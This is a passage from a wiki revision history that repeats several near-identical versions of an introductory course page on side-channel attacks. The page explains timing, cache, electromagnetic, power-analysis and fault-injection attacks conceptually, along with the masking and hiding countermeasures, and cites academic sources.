The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).<ref name="BT19"/><br />
<br />
==== Differential Power Analysis ====<br />
<br />
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. <br/><br />
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).<ref name="BT19"/><br />
<br />
==== Correlation Power Analysis ====<br />
<br />
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.<ref name="CPA"/><br />
<br />
[[File:Correlation Power Analysis.PNG|350px]]<ref name="CPA"/><br />
<br />
==== Template Power Analysis ====<br />
<br />
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.<ref name="BT19"/><ref name="CRR03"/><br />
<br />
=== Fault-Injection Attacks ===<br />
The Fault-Injection Attacks is a attack where keys/secrets and sensitive information is "stolen" from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation.<ref name="7522801"/><br />
<br />
=== Others ===<br />
<br />
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.<ref name="BT19"/><br />
<br />
== Countermeasures ==<br />
<br />
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.<br />
<br />
From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal<ref name="Pop09"/>: <br />
* Masking<br />
* Hiding<br />
<br />
=== Masking ===<br />
<br />
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.<ref name="Pop09"/><br />
<br />
=== Hiding ===<br />
<br />
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:<br />
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and <br />
* making side channel signals the same (for all operations and data values).<br />
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).<ref name="Pop09"/><br />
<br />
== References ==<br />
<references><br />
<ref name="BT19">Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.</ref><br />
<ref name="CRR03">Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.</ref><br />
<ref name="Pop09">T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.</ref><br />
<ref name="Mai12">Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.</ref><br />
<ref name="CPA">https://cryptography.gmu.edu/documentation/fobos/cpa.html</ref><br />
<ref name="ISCA">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<br />
</references><br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&diff=8937Side Channel Attacks2021-12-21T19:04:24Z<p>SVrdoljak: /* References */</p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Side Channel Attacks''' are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.<br />
<br />
== Introduction ==<br />
<br />
'''Classical cryptanalytic attacks''' analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called '''implementation attack''' (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.<br />
<br />
There are two types of implementation attack classifications. First the classification in '''active''' (device or environment is changed so that the device shows unnatural behavior) and '''passive''' (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are '''non-invasive''' (only information from directly accessible interfaces is used), '''semi-invasive''' (modification of the device, but only the outer layers) or '''invasive''' (manipulation of the device in every possible way).<br />
<br />
'''Side Channel Attacks''' are classified as '''passive''' and '''non-invasive''' implementation attacks.<br />
<br />
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.<ref name="Pop09"/><br />
<br />
[[File:Side channels.PNG|500px]]<ref name="Mai12"/><br />
<br />
== Types of Side Channel Attacks ==<br />
<br />
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are<ref name="BT19"/>: <br />
# Timing Attacks<br />
# Electromagnetic Attacks <br />
# Power-Monitoring Attacks<br />
# Fault-Injection Attacks <br />
<br />
=== Timing Attacks ===<br />
<br />
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. <br/><br />
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.<ref name="BT19"/><br />
<br />
==== Cache-Timing Analysis ====<br />
<br />
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process's cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:<br />
* cache hit (the data requested by the processor is available in the cache) and <br />
* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).<br />
<br />
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.<ref name="BT19"/> <br/><br/><br />
<br />
[[File:Cache Timing Attack.PNG|600px]]<ref name="BT19"/><br />
<br />
=== Electromagnetic Attacks ===<br />
<br />
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are<ref name="BT19"/><br />
* Simple Electromagnetic Analysis and <br />
* Differential Electromagnetic Analysis.<br />
<br />
==== Simple Electromagnetic Analysis ====<br />
<br />
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.<ref name="BT19"/><br />
<br />
==== Differential Electromagnetic Analysis ====<br />
<br />
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. <br/><br />
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.<ref name="BT19"/><br />
<br />
=== Power-monitoring Attacks ===<br />
<br />
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.<br />
<br />
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.<br />
<br />
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.<ref name="BT19"/><br />
<br />
==== Simple Power Analysis ====<br />
<br />
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. <br/><br />
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.<br />
The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).<ref name="BT19"/><br />
<br />
==== Differential Power Analysis ====<br />
<br />
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. <br/><br />
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).<ref name="BT19"/><br />
<br />
==== Correlation Power Analysis ====<br />
<br />
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.<ref name="CPA"/><br />
<br />
[[File:Correlation Power Analysis.PNG|350px]]<ref name="CPA"/><br />
<br />
==== Template Power Analysis ====<br />
<br />
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.<ref name="BT19"/><ref name="CRR03"/><br />
<br />
=== Fault-Injection Attacks ===<br />
The Fault-Injection Attacks is a attack where keys/secrets and sensitive information is "stolen" from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation.<ref name="7522801"/><br />
<br />
=== Others ===<br />
<br />
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.<ref name="BT19"/><br />
<br />
== Countermeasures ==<br />
<br />
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.<br />
<br />
From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal<ref name="Pop09"/>: <br />
* Masking<br />
* Hiding<br />
<br />
=== Masking ===<br />
<br />
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.<ref name="Pop09"/><br />
<br />
=== Hiding ===<br />
<br />
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:<br />
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and <br />
* making side channel signals the same (for all operations and data values).<br />
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).<ref name="Pop09"/><br />
<br />
== References ==<br />
<references><br />
<ref name="BT19">Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.</ref><br />
<ref name="CRR03">Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.</ref><br />
<ref name="Pop09">T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.</ref><br />
<ref name="Mai12">Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.</ref><br />
<ref name="CPA">https://cryptography.gmu.edu/documentation/fobos/cpa.html</ref><br />
<ref name="7522801">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<br />
</references><br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&diff=8936Side Channel Attacks2021-12-21T19:03:56Z<p>SVrdoljak: /* Types of Side Channel Attacks */</p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Side Channel Attacks''' are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.<br />
<br />
== Introduction ==<br />
<br />
'''Classical cryptanalytic attacks''' analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called '''implementation attack''' (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.<br />
<br />
There are two types of implementation attack classifications. First the classification in '''active''' (device or environment is changed so that the device shows unnatural behavior) and '''passive''' (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are '''non-invasive''' (only information from directly accessible interfaces is used), '''semi-invasive''' (modification of the device, but only the outer layers) or '''invasive''' (manipulation of the device in every possible way).<br />
<br />
'''Side Channel Attacks''' are classified as '''passive''' and '''non-invasive''' implementation attacks.<br />
<br />
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.<ref name="Pop09"/><br />
<br />
[[File:Side channels.PNG|500px]]<ref name="Mai12"/><br />
<br />
== Types of Side Channel Attacks ==<br />
<br />
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are<ref name="BT19"/>: <br />
# Timing Attacks<br />
# Electromagnetic Attacks <br />
# Power-Monitoring Attacks<br />
# Fault-Injection Attacks <br />
<br />
=== Timing Attacks ===<br />
<br />
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. <br/><br />
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.<ref name="BT19"/><br />
<br />
==== Cache-Timing Analysis ====<br />
<br />
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process's cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:<br />
* cache hit (the data requested by the processor is available in the cache) and <br />
* cache miss (the data requested by the processor is not available in the cache and must therefore be requested from the main memory).<br />
<br />
It takes longer to load the data from the main memory than to call up the data directly from the cache. The time difference is used in the Time Analysis to exploit the device. The attacker measures the time by deleting the monitored memory line (smallest administrative unit within the cache of processors) from the cache (FLUSH) and then waits for the victim to request the memory line. In this case it allows access to it (WAIT). The attacker then reloads the memory line and measures the time required for loading (RELOAD). If the victim accesses the memory line (cache) while the attacker is waiting for it, the RELOAD takes less time. If the request has to be answered from main memory, the RELOAD takes considerably longer.<ref name="BT19"/> <br/><br/><br />
<br />
[[File:Cache Timing Attack.PNG|600px]]<ref name="BT19"/><br />
<br />
=== Electromagnetic Attacks ===<br />
<br />
Electromagnetic (EM) signals can be intercepted with sensors such as an antenna. The EM signal is then converted into a current signal from which the noise is removed and the frequency band is limited. The two main types of EM analysis are<ref name="BT19"/><br />
* Simple Electromagnetic Analysis and <br />
* Differential Electromagnetic Analysis.<br />
<br />
==== Simple Electromagnetic Analysis ====<br />
<br />
In order to be able to carry out a Simple Electromagnetic Analysis (SEMA), one must have prior knowledge of the architecture or the security policies of the device. The attacker tries to capture and analyse a single EM trace in order to obtain information about the device in this way. The analysis is done visually and the goal is to find a sequence of transitions in the function that contain information about the secret key.<ref name="BT19"/><br />
<br />
==== Differential Electromagnetic Analysis ====<br />
<br />
Differential Electromagnetic Analysis (DEMA) is required when the information that needs to be used cannot be analysed visually (i.e. Simple Electromagnetic Analysis is not possible). The analysed signal is compared with an equivalent signal. When the equivalent signal comes from another area of the device, this is called spatial referencing. If the signal comes from a different time, this is called temporal referencing. <br/><br />
Differential Electromagnetic Analysis does not require a lot of knowledge about the compromised device, since most of the information can be learned afterwards during the analysis. This helps to get details about the device such as functionality and structure, which in turn helps to reconstruct the device or to deactivate the security policy.<ref name="BT19"/><br />
<br />
=== Power-monitoring Attacks ===<br />
<br />
Power consumption analysis is used to obtain critical information (i.e. the secret key) by analysing the power consumption of a device. The attack is non-invasive, but requires the attacker to have physical access to the device in order to capture the current signals. It is the dominant form of Side Channel Attacks.<br />
<br />
Performing such an attack requires a series of current measurements, which can be measured with an oscilloscope. Each current signal that is captured during the analysis is called a power trace. An attacker normally needs a large number of these power traces in order to successfully carry out a Power-Monitoring Attack. After the measurement, the relationship between the power consumption and the secret key is analysed in various ways.<br />
<br />
When measuring the power consumption of a device, it is important to be aware that there are two types of power that affect power consumption: dynamic power and leakage power. The first is caused by switching activity of transistors within a device and the second is unwanted behaviour of a transistor. An attacker normally wants to capture dynamic power signals as they directly relate to the functional behaviour of the device. This means that he can use these signals to obtain information about certain operations that are currently being carried out inside of the device.<ref name="BT19"/><br />
<br />
==== Simple Power Analysis ====<br />
<br />
Simple Power Analysis (SPA) does not require any advanced or statistical processing stages, but it does require relatively detailed knowledge about the implementation of a cryptographic algorithm to interpret information about the secret key by visually examining the power traces. <br/><br />
Simple Power Analysis is typically used for devices with limited accessibility, as only a few power traces are likely to be available to the attacker. However, for the attack to be successful, the power traces must contain critical information. If multiple power traces are available, the traces can be averaged to remove noise.<br />
The power traces are usually checked visually. They show a sequence of patterns that can help identify key bits, instructions, or functions. This is possible because every command or function creates a specific pattern in the power trace. But to be able to see it, the captured power trace must have a clear pattern (without a lot of noise).<ref name="BT19"/><br />
<br />
==== Differential Power Analysis ====<br />
<br />
Differential Power Analysis (DPA) is the most common type of Power-Monitoring Attack and generally the best-known Side Channel Attack. This is because the attacker does not need to have any prior knowledge of the device he is trying to attack. Another reason is that this attack is very effective at capturing high quality signals in environments with high levels of noise. What can be seen as a disadvantage is that it typically requires a larger number of power traces compared to Simple Power Analysis. But that fact also makes it more powerful. <br/><br />
Differential Power Analysis requires two phases: data collection and data analysis (just like SPA). In the data analysis phase, the current traces are analysed statistically (e.g. differences in the mean values).<ref name="BT19"/><br />
<br />
==== Correlation Power Analysis ====<br />
<br />
The Correlation Power Analysis is an advanced form of the Power-Monitoring Attack. First, the real power consumption is measured. Hypothetical intermediate values are then calculated, each consisting of a part of an estimated subkey and known data (i.e. plain text). The theoretical power consumption that occurs in the device during the processing of the intermediate value is estimated for each hypothetical intermediate value, e.g. with the help of the [[Wikipedia:Hamming_distance|Hamming distance]]. A statistical method is then used to find out which subkey was most likely used by correlating the hypothetical power traces and the actual power traces. The best subkey guesses are then pieced together to get the full secret key.<ref name="CPA"/><br />
<br />
[[File:Correlation Power Analysis.PNG|350px]]<ref name="CPA"/><br />
<br />
==== Template Power Analysis ====<br />
<br />
The Template Power Analysis is a more advanced form of the Simple Power Analysis (SPA). The attacker characterises and saves known and recognized patterns in the power traces as templates. He then compares these templates with the power traces collected from the target device. In this way, he recognizes matches and therefore knows what operations were being carried out when the power traces were measured.<ref name="BT19"/><ref name="CRR03"/><br />
<br />
=== Fault-Injection Attacks ===<br />
The Fault-Injection Attacks is a attack where keys/secrets and sensitive information is "stolen" from cryptographic devices or systems by generating faults. Usually the attacker exploits a system that is more prone to being vulnerable due to its higher design complexity and incomplete verification. Voltage glitching, electromagnetic glitching or clock glitching are some of the ways a fault is generated. Fault-Injection Attacks are usually differential, because the output of a faulty operation is compared to a non-faulty operation.<ref name="7522801"/><br />
<br />
=== Others ===<br />
<br />
There are also other Side Channel Attacks such as Acoustic and Optical Attacks, but these have not yet been extensively investigated and are therefore not mentioned in more detail here.<ref name="BT19"/><br />
<br />
== Countermeasures ==<br />
<br />
The aim of the countermeasures is to reduce the usable part of the side channel information to a level at which attacks are no longer possible, or at least to a level that would require too many measurements of the side channel. It would of course be much more attractive if you managed to prevent attacks from being possible, but in practice this is very difficult to achieve. A general countermeasure against all types of Side Channel Attacks is to use secret keys and similar sensitive data as rarely as possible (e.g. work with session keys) and to update them as often as possible.<br />
<br />
From a technical point of view, the aim of these countermeasures is to remove the dependency between the data values and operations occurring in a cryptographic algorithm and the side channel signals of a cryptographic device. Two basic approaches can be taken to achieve this goal<ref name="Pop09"/>: <br />
* Masking<br />
* Hiding<br />
<br />
=== Masking ===<br />
<br />
When masking is used, all susceptible intermediate values v of a cryptographic algorithm are hidden by a random value m called a mask: v(m) = v ∗ m. The random mask is generated internally by a device as it must not be known to an attacker. All operations performed in a cryptographic device only work with the masked values v(m). The most common masking operations are the XOR function (Boolean masking) and arithmetic operations such as modular addition or multiplication (arithmetic masking). Examples of masking countermeasures are masked look-up tables in software or masked function blocks in hardware.<ref name="Pop09"/><br />
<br />
=== Hiding ===<br />
<br />
Hiding is an attempt to change the side channel properties of cryptographic devices in such a way that the data processed on a device and the emitted side channel signals can no longer be associated with one another. However, this is usually not perfectly possible in practice. There are two main approaches to implement hiding:<br />
* Randomization, i.e. randomizing side channel signals (e.g. inserting dummy operations randomly or mixing operations) and <br />
* making side channel signals the same (for all operations and data values).<br />
Randomization of side channel signals can be achieved by performing the operations of cryptographic algorithms at different times for each execution (temporal randomization) or by directly increasing the noise level in the side channel signals (randomization in the amplitude dimension).<ref name="Pop09"/><br />
<br />
== References ==<br />
<references><br />
<ref name="BT19">Swarup Bhunia and Mark Tehranipoor. Chapter 8 - side-channel attacks. In Swarup Bhunia and Mark Tehranipoor, editors, Hardware Security, pages 193-218. Morgan Kaufmann, 2019.</ref><br />
<ref name="CRR03">Suresh Chari, Josyula R. Rao, and Pankaj Rohatgi. Template attacks. In Burton S. Kaliski, cetin K. Koc, and Christof Paar, editors, Cryptographic Hardware and Embedded Systems - CHES 2002, pages 13-28, Berlin, Heidelberg, 2003. Springer Berlin Heidelberg.</ref><br />
<ref name="Pop09">T. Popp. An introduction to implementation attacks and countermeasures. In 2009 7th IEEE/ACM International Conference on Formal Methods and Models for Co-Design, pages 108-115, 2009.</ref><br />
<ref name="Mai12">Ken Mai. Side Channel Attacks and Countermeasures, pages 175-194. Springer New York, New York, NY, 2012.</ref><br />
<ref name="CPA">https://cryptography.gmu.edu/documentation/fobos/cpa.html</ref><br />
<br />
<br />
</references><br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Side_Channel_Attacks&diff=8933Side Channel Attacks2021-12-21T18:59:30Z<p>SVrdoljak: /* Types of Side Channel Attacks */</p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Side Channel Attacks''' are attacks on the practical implementation. They are passive and non-invasive and examples of side channels are execution time, electromagnetic radiation and power consumption. You need additional but inexpensive instruments to measure the side channel signals. Different prior knowledge is required depending on the type of attack. Countermeasures are masking and hiding.<br />
<br />
== Introduction ==<br />
<br />
'''Classical cryptanalytic attacks''' analyse algorithms mathematically for weak points and vulnerabilities. There is a relatively new type of cryptanalytic attack called '''implementation attack''' (the Side Channel Attack is part of it). Instead of attacking the algorithm mathematically, the practical implementation is now the target. This type of attack bypasses the previously installed security mechanisms (e.g. RSA, AES) by also using information emitted by the physical implementation, such as electromagnetic radiation in calculations.<br />
<br />
There are two types of implementation attack classifications. First the classification in '''active''' (device or environment is changed so that the device shows unnatural behavior) and '''passive''' (only signals are used that are sent out for observation under normal conditions). The other way is to distinguish whether the attacks are '''non-invasive''' (only information from directly accessible interfaces is used), '''semi-invasive''' (modification of the device, but only the outer layers) or '''invasive''' (manipulation of the device in every possible way).<br />
<br />
'''Side Channel Attacks''' are classified as '''passive''' and '''non-invasive''' implementation attacks.<br />
<br />
Side channels are for example execution time, electromagnetic radiation, and power consumption. The attacker tries to find out the secret key by analysing its influence on the side channel signals. Relatively inexpensive basic equipment is required to carry out a Side Channel Attack. A personal computer is sufficient to analyse the side channels. Instruments such as an oscilloscope, spectrum analyser, or electromagnetic antenna are required for the measurement. The attack itself can last from a few minutes to a few hours.<ref name="Pop09"/><br />
<br />
[[File:Side channels.PNG|500px]]<ref name="Mai12"/><br />
<br />
== Types of Side Channel Attacks ==<br />
<br />
As there are different side channels, there are of course also different Side Channel Attacks. The best-known Side Channel Attacks are<ref name="BT19"/>: <br />
# Timing Attacks<br />
# Electromagnetic Attacks <br />
# Power-Monitoring Attacks<br />
# Fault-Injection Attacks <br />
<br />
=== Timing Attacks ===<br />
<br />
The Timing Attack is a Side Channel attack in which the execution time is analysed in order to obtain important information about a device. This is possible because each process is completed after a certain period of time, which depends on the type of process, the input, the characteristics of the environment and the technology used to build the device. <br/><br />
This type of attack is typically used in conjunction with other Side Channel Attacks because more information can be extracted using different analytical methods. The Power-Monitoring Attack, for example, works very well in combination with the Timing Attack. When using these two attacks in conjunction, one recognizes, for example, the order of operations. In this way, the attacker can guess the process currently running on the device and possibly also reconstruct it.<ref name="BT19"/><br />
<br />
==== Cache-Timing Analysis ====<br />
<br />
An example of a Timing Attack is the Cache-Timing Analysis. This type of Timing Attack is applied to a process's cache memory. The aim is to measure the times for cache accesses and then use these time values to draw conclusions about which information is currently being processed. This is possible because the time for a cache access can vary in two ways:<br />
* cache hit (the data requested by the processor is available in the cache) and <br />
